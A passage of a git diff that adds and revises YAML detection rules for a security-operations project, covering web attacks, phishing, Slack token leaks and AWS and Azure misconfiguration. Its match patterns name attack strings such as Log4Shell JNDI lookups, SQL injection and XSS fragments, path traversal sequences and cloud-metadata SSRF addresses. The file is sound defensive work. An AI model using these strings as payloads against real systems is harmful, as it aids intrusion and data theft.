service: http+detection:+ condition: |+ authorization_header_jwt_alg == "none"+false_positives:+- Internal-only debug paths (must require staging-only path)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/log4shell.yaml b/detections/application/log4shell.yamlnew file mode 100644index 000000000..a407578d7--- /dev/null+++ b/detections/application/log4shell.yaml@@ -0,0 +1,23 @@+id: det-application-005+name: Log4Shell JNDI Pattern in HTTP Header+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Log4Shell JNDI+ Pattern in HTTP Header'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1190+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ header_value PATTERN_MATCH_ANY ["\$\{jndi:ldap:", "\$\{jndi:dns:", "\$\{jndi:rmi:"]+false_positives:+- Internal canary strings used for log4j detection (allowlist src)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/open-redirect.yaml b/detections/application/open-redirect.yamlnew file mode 100644index 000000000..c3d3bb470--- /dev/null+++ b/detections/application/open-redirect.yaml@@ -0,0 +1,23 @@+id: det-application-013+name: Open Redirect Pattern in URL Parameter+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Open Redirect+ Pattern in URL Parameter'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1204.001+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri CONTAINS_ANY ["?next=http", "?redirect=http", "?url=http"]+false_positives:+- Approved redirect-after-login flows (allowlist destination)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/path-traversal.yaml b/detections/application/path-traversal.yamlnew file mode 100644index 000000000..e1901a6f6--- /dev/null+++ b/detections/application/path-traversal.yaml@@ -0,0 +1,23 @@+id: det-application-003+name: Path Traversal Attempt in HTTP Request+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Path Traversal+ Attempt in HTTP Request'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1083+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri PATTERN_MATCH_ANY ["\.\./", "\.\.\\", "%2e%2e%2f", "%2e%2e/", "\.\.%2f"]+false_positives:+- URL-encoded characters in legitimate parameters (rare)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/phishing-attachment-double-extension.yaml b/detections/application/phishing-attachment-double-extension.yamlnew file mode 100644index 000000000..8e6035f37--- /dev/null+++ b/detections/application/phishing-attachment-double-extension.yaml@@ -0,0 +1,23 @@+id: det-application-030+name: Email Attachment with Double Extension Pattern+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Email Attachment+ with Double Extension Pattern'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1566.001+- tlp.white+category: application+log_source:+ product: email+ service: messages+detection:+ condition: |+ attachment_filename MATCH ".+\.(pdf|doc|xls|jpg|png)\.(exe|js|vbs|scr|jar)$"+false_positives:+- Vendor archives with intentional double-extension labels (rare)+playbook: tpl-phishing+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/phishing-ms365-impersonation.yaml b/detections/application/phishing-ms365-impersonation.yamlnew file mode 100644index 000000000..82165a714--- /dev/null+++ b/detections/application/phishing-ms365-impersonation.yaml@@ -0,0 +1,23 @@+id: det-application-029+name: Microsoft 365 Brand Impersonation Phishing URL+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Microsoft 365+ Brand Impersonation Phishing URL'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1566.002+- tlp.white+category: application+log_source:+ product: email+ service: messages+detection:+ condition: |+ url_brand_impersonation IN ["microsoft", "office365", "okta", "google-login"]+false_positives:+- Approved internal phishing-simulation campaigns (must be tagged)+playbook: tpl-phishing+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/rate-limit-burst.yaml b/detections/application/rate-limit-burst.yamlnew file mode 100644index 000000000..e366f9666--- /dev/null+++ b/detections/application/rate-limit-burst.yaml@@ -0,0 +1,26 @@+id: det-application-008+name: Rate Limit Burst on Authentication Endpoint+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Rate Limit Burst+ on Authentication Endpoint'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1110+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri ENDSWITH "/login"+ AND method == "POST"+ AND request_count_per_src > 200+ AND time_window_minutes < 5+false_positives:+- Load testing against staging (src allowlist)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/rdp-tickling.yaml b/detections/application/rdp-tickling.yamlnew file mode 100644index 000000000..cd2474206--- /dev/null+++ b/detections/application/rdp-tickling.yaml@@ -0,0 +1,26 @@+id: det-application-028+name: Outbound RDP Connection Initiated From Workstation to Internet+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Outbound RDP+ Connection Initiated From Workstation to Internet'. Watch the 1 documented false-positive case before+ tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1572+- tlp.white+category: application+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ src_role == "workstation"+ AND dst_port == 3389+ AND dst_ip_class == "internet"+false_positives:+- Allowlisted IT support tooling (rare)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/saas-app-installed.yaml b/detections/application/saas-app-installed.yamlnew file mode 100644index 000000000..3524efc77--- /dev/null+++ b/detections/application/saas-app-installed.yaml@@ -0,0 +1,24 @@+id: det-application-026+name: Marketplace App Installed With Broad Scopes+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Marketplace+ App Installed With Broad Scopes'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1098.001+- tlp.white+category: application+log_source:+ product: google-workspace+ service: audit+detection:+ condition: |+ event_type == "marketplace.app.installed"+ AND scope_set CONTAINS_ANY ["mail.full", "drive.full", "directory.readwrite"]+false_positives:+- IT-managed installs (allowlist publisher)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/saas-mass-share-public.yaml b/detections/application/saas-mass-share-public.yamlnew file mode 100644index 000000000..e39731c74--- /dev/null+++ b/detections/application/saas-mass-share-public.yaml@@ -0,0 +1,26 @@+id: det-application-024+name: SaaS File Mass Public-Share by Single User+description: AiSOC v1 curated detection. Triggers on the application signal described by 'SaaS File Mass+ Public-Share by Single User'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: application+log_source:+ product: google-workspace+ service: drive+detection:+ condition: |+ event_type == "drive.acl.change"+ AND share_visibility == "public"+ AND file_count_per_user > 10+ AND time_window_minutes < 30+false_positives:+- Approved customer-share workflows (allowlist user)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/slack-token-exposed.yaml b/detections/application/slack-token-exposed.yamlnew file mode 100644index 000000000..d7a64de53--- /dev/null+++ b/detections/application/slack-token-exposed.yaml@@ -0,0 +1,25 @@+id: det-application-025+name: Slack Token Posted in Public Channel+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Slack Token+ Posted in Public Channel'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1552.004+- tlp.white+category: application+log_source:+ product: slack+ service: audit+detection:+ condition: |+ event_type == "message.posted"+ AND message_text PATTERN_MATCH_ANY ["xoxp-", "xoxb-", "xoxa-"]+ AND channel_visibility == "public"+false_positives:+- 'Channels named #security-test (must be allowlisted)'+playbook: tpl-secret-leak+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/sql-injection-attempt.yaml b/detections/application/sql-injection-attempt.yamlindex 656aa4c6e..7dacd1256 100644--- a/detections/application/sql-injection-attempt.yaml+++ b/detections/application/sql-injection-attempt.yaml@@ -1,40 +1,23 @@-id: det-app-001-name: SQL Injection Attempt via Web Application-description: >- Detects SQL injection attempts in HTTP request parameters by matching- known SQLi payloads and patterns in query strings, POST bodies, or- HTTP headers. Covers UNION-based, error-based, time-based blind, and- boolean-based injection patterns.-version: "1.0.0"+id: det-application-001+name: SQL Injection Attempt in HTTP Query+description: Detects HTTP requests containing common SQL injection payload patterns in query strings or+ POST bodies. Strong indicator of automated probing or active exploitation against web applications.+version: 1.0.0severity: hightags:- - mitre.attack.t1190- - tlp.white+- mitre.attack.t1190+- tlp.whitecategory: applicationlog_source:product: waf- service: access-logs+ service: httpdetection:- keywords:- - "' OR 1=1"- - "' OR '1'='1"- - "UNION SELECT"- - "'; DROP TABLE"- - "' AND SLEEP("- - "' AND BENCHMARK("- - "xp_cmdshell"- - "INFORMATION_SCHEMA"- - "'; WAITFOR DELAY"- condition: keywords- filters:- - src_ip: pentest-ip-ranges- - http_status: "400"+ condition: |+ request_uri PATTERN_MATCH_ANY ["UNION SELECT", "OR '1'='1", "; DROP TABLE", "1=1--", "sleep\(", "benchmark\("]false_positives:- - Penetration testing and bug-bounty activity- - Web Application Firewall testing- - Search queries containing SQL keywords (documentation sites)-playbook: tpl-web-attack-response+- Security-research / pen-test traffic (allowlist src)+playbook: tpl-webattackenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/ssrf-attempt.yaml b/detections/application/ssrf-attempt.yamlnew file mode 100644index 000000000..5b4f85cf7--- /dev/null+++ b/detections/application/ssrf-attempt.yaml@@ -0,0 +1,24 @@+id: det-application-004+name: SSRF Attempt to Cloud Metadata Endpoint+description: AiSOC v1 curated detection. Triggers on the application signal described by 'SSRF Attempt+ to Cloud Metadata Endpoint'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1190+- mitre.attack.t1212+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri PATTERN_MATCH_ANY ["169\.254\.169\.254", "metadata\.google\.internal", "metadata\.azure\.com", "127\.0\.0\.1:80"]+false_positives:+- Allowlisted internal metadata-style apps (rare)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/user-agent-known-tool.yaml b/detections/application/user-agent-known-tool.yamlnew file mode 100644index 000000000..2aba2f689--- /dev/null+++ b/detections/application/user-agent-known-tool.yaml@@ -0,0 +1,23 @@+id: det-application-011+name: Known-Bad Scanner User-Agent+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Known-Bad Scanner+ User-Agent'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: low+tags:+- mitre.attack.t1595.002+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ user_agent CONTAINS_ANY ["sqlmap", "nikto", "wpscan", "fuzzfaster", "ffuf"]+false_positives:+- Authorized internal pen-tests (src allowlist)+playbook: tpl-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/webshell-upload.yaml b/detections/application/webshell-upload.yamlnew file mode 100644index 000000000..87a790138--- /dev/null+++ b/detections/application/webshell-upload.yaml@@ -0,0 +1,25 @@+id: det-application-006+name: Webshell File Upload Pattern+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Webshell File+ Upload Pattern'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1505.003+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ method IN ["POST", "PUT"]+ AND file_extension IN [".jsp", ".php", ".asp", ".aspx"]+ AND request_uri CONTAINS_ANY ["/upload", "/wp-content/", "/cgi-bin/"]+false_positives:+- CMS file uploads with sandboxed extensions (allowlist app role)+playbook: tpl-webshell+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/application/xss-attempt.yaml b/detections/application/xss-attempt.yamlnew file mode 100644index 000000000..796d72af9--- /dev/null+++ b/detections/application/xss-attempt.yaml@@ -0,0 +1,23 @@+id: det-application-002+name: Cross-Site Scripting Attempt+description: AiSOC v1 curated detection. Triggers on the application signal described by 'Cross-Site Scripting+ Attempt'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1190+- tlp.white+category: application+log_source:+ product: waf+ service: http+detection:+ condition: |+ request_uri PATTERN_MATCH_ANY ["<script>", "javascript:", "onerror=", "<svg/onload=", "document.cookie"]+false_positives:+- Encoded HTML in legitimate CMS posts (encode-on-output)+playbook: tpl-webattack+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-cloudtrail-disabled.yaml b/detections/cloud/aws-cloudtrail-disabled.yamlnew file mode 100644index 000000000..6c0c080f6--- /dev/null+++ b/detections/cloud/aws-cloudtrail-disabled.yaml@@ -0,0 +1,23 @@+id: det-cloud-009+name: AWS CloudTrail Logging Disabled+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS CloudTrail Logging+ Disabled'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1562.008+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name IN ["StopLogging", "DeleteTrail", "UpdateTrail"]+false_positives:+- Log-trail consolidation during account merge (change ticketed)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-cross-account-assumerole.yaml b/detections/cloud/aws-cross-account-assumerole.yamlnew file mode 100644index 000000000..2a0b391b4--- /dev/null+++ b/detections/cloud/aws-cross-account-assumerole.yaml@@ -0,0 +1,27 @@+id: det-cloud-014+name: AWS AssumeRole from Untrusted External Account+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS AssumeRole from+ Untrusted External Account'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- mitre.attack.t1199+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "AssumeRole"+ AND user_arn_external_account == true+ AND external_account_in_allowlist == false+false_positives:+- Trusted partner accounts (must be in allowlist)+- Org-internal cross-account scripts+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-ebs-snapshot-public.yaml b/detections/cloud/aws-ebs-snapshot-public.yamlnew file mode 100644index 000000000..9e9b5c749--- /dev/null+++ b/detections/cloud/aws-ebs-snapshot-public.yaml@@ -0,0 +1,24 @@+id: det-cloud-013+name: AWS EBS Snapshot Made Public+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EBS Snapshot Made+ Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "ModifySnapshotAttribute"+ AND createvolumepermission == "all"+false_positives:+- Public AMI publication for community open-source projects (must be tagged purpose=public-ami)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-ec2-launch-foreign-region.yaml b/detections/cloud/aws-ec2-launch-foreign-region.yamlnew file mode 100644index 000000000..baafa7cb8--- /dev/null+++ b/detections/cloud/aws-ec2-launch-foreign-region.yaml@@ -0,0 +1,25 @@+id: det-cloud-005+name: AWS EC2 Instance Launched in Unauthorized Region+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EC2 Instance Launched+ in Unauthorized Region'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1578.002+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "RunInstances"+ AND aws_region NOT IN ["us-east-1", "us-west-2", "eu-west-1"]+false_positives:+- DR/failover testing (announced)+- Approved expansion to new region (change ticket)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-iam-enumeration.yaml b/detections/cloud/aws-iam-enumeration.yamlnew file mode 100644index 000000000..5059967d7--- /dev/null+++ b/detections/cloud/aws-iam-enumeration.yaml@@ -0,0 +1,27 @@+id: det-cloud-002+name: AWS IAM Enumeration Burst+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Enumeration+ Burst'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1087.004+- mitre.attack.t1069.003+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_source == "iam.amazonaws.com"+ AND event_name_count > 25+ AND time_window_minutes < 5+false_positives:+- Compliance scanners (AWS Config, Prowler, CloudCustodian)+- IaC tools running plan/apply+playbook: tpl-cloud-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-iam-policy-permissive.yaml b/detections/cloud/aws-iam-policy-permissive.yamlnew file mode 100644index 000000000..964beaae0--- /dev/null+++ b/detections/cloud/aws-iam-policy-permissive.yaml@@ -0,0 +1,27 @@+id: det-cloud-007+name: AWS IAM Policy with Wildcard Action+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Policy with+ Wildcard Action'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- mitre.attack.t1098.001+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name IN ["PutUserPolicy", "PutRolePolicy", "AttachUserPolicy"]+ AND policy_action == "*"+ AND policy_resource == "*"+false_positives:+- Bootstrap admin role (one-time, change ticketed)+- Break-glass policy+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-kms-key-disable.yaml b/detections/cloud/aws-kms-key-disable.yamlnew file mode 100644index 000000000..0e65fea24--- /dev/null+++ b/detections/cloud/aws-kms-key-disable.yaml@@ -0,0 +1,24 @@+id: det-cloud-008+name: AWS KMS Key Disabled or Scheduled for Deletion+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS KMS Key Disabled+ or Scheduled for Deletion'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1485+- mitre.attack.t1486+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name IN ["DisableKey", "ScheduleKeyDeletion"]+false_positives:+- Decommission of expired key material (must reference change ticket)+playbook: tpl-data-destruction+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-lambda-permissive-trigger.yaml b/detections/cloud/aws-lambda-permissive-trigger.yamlnew file mode 100644index 000000000..0af40a289--- /dev/null+++ b/detections/cloud/aws-lambda-permissive-trigger.yaml@@ -0,0 +1,24 @@+id: det-cloud-010+name: AWS Lambda Function with Public Invoke Permission+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Lambda Function+ with Public Invoke Permission'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1190+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "AddPermission"+ AND principal == "*"+false_positives:+- Public webhook endpoint (must have purpose=public-webhook tag)+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-rds-publicly-accessible.yaml b/detections/cloud/aws-rds-publicly-accessible.yamlnew file mode 100644index 000000000..9ea0ff22d--- /dev/null+++ b/detections/cloud/aws-rds-publicly-accessible.yaml@@ -0,0 +1,25 @@+id: det-cloud-012+name: AWS RDS Instance Set Publicly Accessible+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS RDS Instance Set+ Publicly Accessible'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1190+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name IN ["CreateDBInstance", "ModifyDBInstance"]+ AND publicly_accessible == true+false_positives:+- Test/sandbox RDS bound to bastion subnet only (must not happen)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-root-account-login.yaml b/detections/cloud/aws-root-account-login.yamlindex 55294117f..cfb0ebc82 100644--- a/detections/cloud/aws-root-account-login.yaml+++ b/detections/cloud/aws-root-account-login.yaml@@ -1,14 +1,13 @@id: det-cloud-001name: AWS Root Account Console Login-description: >- Detects any console sign-in event using the AWS root account. Root account- usage outside of initial setup or emergency break-glass scenarios should- trigger immediate investigation. Best practice requires MFA on the root account.-version: "1.0.0"+description: Detects any console sign-in event using the AWS root account. Root account usage outside+ of initial setup or emergency break-glass scenarios should trigger immediate investigation. Best practice+ requires MFA on the root account.+version: 1.0.0severity: criticaltags:- - mitre.attack.t1078.004- - tlp.white+- mitre.attack.t1078.004+- tlp.whitecategory: cloudlog_source:product: aws@@ -19,10 +18,10 @@ detection:AND user_type == "Root"AND error_code IS NULLfalse_positives:- - Break-glass emergency access (must be documented)- - Initial account setup (one-time)+- Break-glass emergency access (must be documented)+- Initial account setup (one-time)playbook: tpl-privilege-escalationenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-s3-bucket-deletion.yaml b/detections/cloud/aws-s3-bucket-deletion.yamlnew file mode 100644index 000000000..6589d0dbd--- /dev/null+++ b/detections/cloud/aws-s3-bucket-deletion.yaml@@ -0,0 +1,24 @@+id: det-cloud-004+name: AWS S3 Bucket Deletion+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 Bucket Deletion'.+ Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1485+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "DeleteBucket"+false_positives:+- Automated cleanup of ephemeral testing buckets+- Decommission via change-control ticket+playbook: tpl-data-destruction+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-s3-mass-getobject.yaml b/detections/cloud/aws-s3-mass-getobject.yamlnew file mode 100644index 000000000..82b43f8c3--- /dev/null+++ b/detections/cloud/aws-s3-mass-getobject.yaml@@ -0,0 +1,26 @@+id: det-cloud-015+name: AWS S3 GetObject Volume Anomaly per Principal+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 GetObject Volume+ Anomaly per Principal'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "GetObject"+ AND object_count_per_principal > 5000+ AND time_window_minutes < 30+false_positives:+- Bulk-export jobs (must use tagged batch role)+- Backup tooling+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-s3-public-bucket.yaml b/detections/cloud/aws-s3-public-bucket.yamlindex 179c84f66..3d48221d8 100644--- a/detections/cloud/aws-s3-public-bucket.yaml+++ b/detections/cloud/aws-s3-public-bucket.yaml@@ -1,40 +1,25 @@-id: det-cloud-002+id: det-cloud-003name: AWS S3 Bucket Made Public-description: >- Detects when an S3 bucket ACL or bucket policy is modified to allow public- read or public read-write access, which can lead to data exposure or- unauthorised data exfiltration.-version: "1.0.0"+description: Detects when an S3 bucket ACL or bucket policy is modified to allow public read or public+ read-write access, which can lead to data exposure or unauthorised data exfiltration.+version: 1.0.0severity: hightags:- - mitre.attack.t1530- - tlp.white+- mitre.attack.t1530+- tlp.whitecategory: cloudlog_source:product: awsservice: cloudtraildetection:condition: |- event_name IN [- "PutBucketAcl",- "PutBucketPolicy",- "PutPublicAccessBlock"- ]- AND (- request_parameters CONTAINS "public-read"- OR request_parameters CONTAINS "public-read-write"- OR request_parameters CONTAINS '"AllUsers"'- OR request_parameters CONTAINS '"AuthenticatedUsers"'- OR (- event_name == "PutPublicAccessBlock"- AND request_parameters CONTAINS '"BlockPublicAcls":false'- )- )+ event_name IN ["PutBucketAcl", "PutBucketPolicy"]+ AND public_grant == truefalse_positives:- - Public website asset buckets (pre-approved, tagged)- - Open-data repositories (must be listed in allowlist)-playbook: tpl-data-exposure-response+- Static website hosting bucket (must be tagged purpose=public)+- Open data publication+playbook: tpl-data-exposureenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-security-group-open-world.yaml b/detections/cloud/aws-security-group-open-world.yamlnew file mode 100644index 000000000..01d3efdcd--- /dev/null+++ b/detections/cloud/aws-security-group-open-world.yaml@@ -0,0 +1,27 @@+id: det-cloud-006+name: AWS Security Group Opened to 0.0.0.0/0+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Security Group+ Opened to 0.0.0.0/0'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1190+- mitre.attack.t1133+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "AuthorizeSecurityGroupIngress"+ AND ip_range == "0.0.0.0/0"+ AND port IN [22, 3389, 3306, 5432, 1433, 6379]+false_positives:+- Public load balancers (must be tagged role=public-lb)+- WAF-protected origins+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/aws-vpc-flow-logs-disabled.yaml b/detections/cloud/aws-vpc-flow-logs-disabled.yamlnew file mode 100644index 000000000..a7ab30b54--- /dev/null+++ b/detections/cloud/aws-vpc-flow-logs-disabled.yaml@@ -0,0 +1,23 @@+id: det-cloud-011+name: AWS VPC Flow Logs Disabled+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS VPC Flow Logs+ Disabled'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.008+- tlp.white+category: cloud+log_source:+ product: aws+ service: cloudtrail+detection:+ condition: |+ event_name == "DeleteFlowLogs"+false_positives:+- VPC decommission (change ticketed, vpc-state=deleting tag)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-ad-app-secret-added.yaml b/detections/cloud/azure-ad-app-secret-added.yamlnew file mode 100644index 000000000..8351dcaa1--- /dev/null+++ b/detections/cloud/azure-ad-app-secret-added.yaml@@ -0,0 +1,23 @@+id: det-cloud-017+name: Azure AD Application Credential Added+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Application+ Credential Added'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.001+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Update application - Certificates and secrets management"+false_positives:+- Application owner rotating credentials (must be tagged change ticketed)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-ad-mfa-disabled-for-user.yaml b/detections/cloud/azure-ad-mfa-disabled-for-user.yamlnew file mode 100644index 000000000..b0bcaf4be--- /dev/null+++ b/detections/cloud/azure-ad-mfa-disabled-for-user.yaml@@ -0,0 +1,23 @@+id: det-cloud-022+name: Azure AD MFA Disabled for User+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD MFA Disabled+ for User'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1556.006+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Disable Strong Authentication"+false_positives:+- Account migration to passkey-only (purpose=passkey tag required)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-ad-role-owner-assignment.yaml b/detections/cloud/azure-ad-role-owner-assignment.yamlnew file mode 100644index 000000000..bf6cd9e93--- /dev/null+++ b/detections/cloud/azure-ad-role-owner-assignment.yaml@@ -0,0 +1,25 @@+id: det-cloud-016+name: Azure AD Owner/Global-Admin Role Assignment+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Owner/Global-Admin+ Role Assignment'. Watch the 2 documented false-positive cases before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1098.003+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "AddMemberToRole"+ AND role_name IN ["Global Administrator", "Privileged Role Administrator", "Owner"]+false_positives:+- Initial tenant bootstrap (must be ticketed)+- Break-glass account assignment+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git 